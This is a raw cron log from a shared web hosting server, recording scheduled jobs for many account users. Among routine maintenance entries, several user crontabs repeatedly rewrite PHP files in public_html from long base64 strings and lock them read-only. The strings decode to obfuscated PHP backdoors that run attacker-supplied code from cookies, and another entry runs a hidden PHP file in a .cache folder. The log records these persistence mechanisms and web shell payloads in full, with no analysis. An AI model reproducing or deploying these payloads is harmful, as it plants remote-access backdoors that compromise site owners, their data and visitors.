Mar  2 07:26:02 medusa CROND[31600]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:26:02 medusa CROND[31602]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:26:02 medusa CROND[31605]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:26:02 medusa CROND[31604]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:26:02 medusa CROND[31606]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:26:02 medusa CROND[31615]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:26:02 medusa CROND[31610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:26:02 medusa CROND[31621]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:26:02 medusa CROND[31630]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:26:02 medusa CROND[31629]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:26:02 medusa CROND[31631]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:26:02 medusa CROND[31640]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:27:02 medusa CROND[15288]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:27:02 medusa CROND[15428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:27:02 medusa CROND[15442]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:27:02 medusa CROND[15443]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:27:02 medusa CROND[15445]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:27:02 medusa CROND[15446]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:27:02 medusa CROND[15447]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:27:02 medusa CROND[15448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:27:02 medusa CROND[15449]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:27:02 medusa CROND[15451]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:27:02 medusa CROND[15452]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:27:02 medusa CROND[15460]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:28:01 medusa CROND[2112]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:28:01 medusa CROND[2117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:28:01 medusa CROND[2178]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 07:28:02 medusa CROND[2387]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:28:02 medusa CROND[2389]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:28:02 medusa CROND[2391]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:28:02 medusa CROND[2393]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
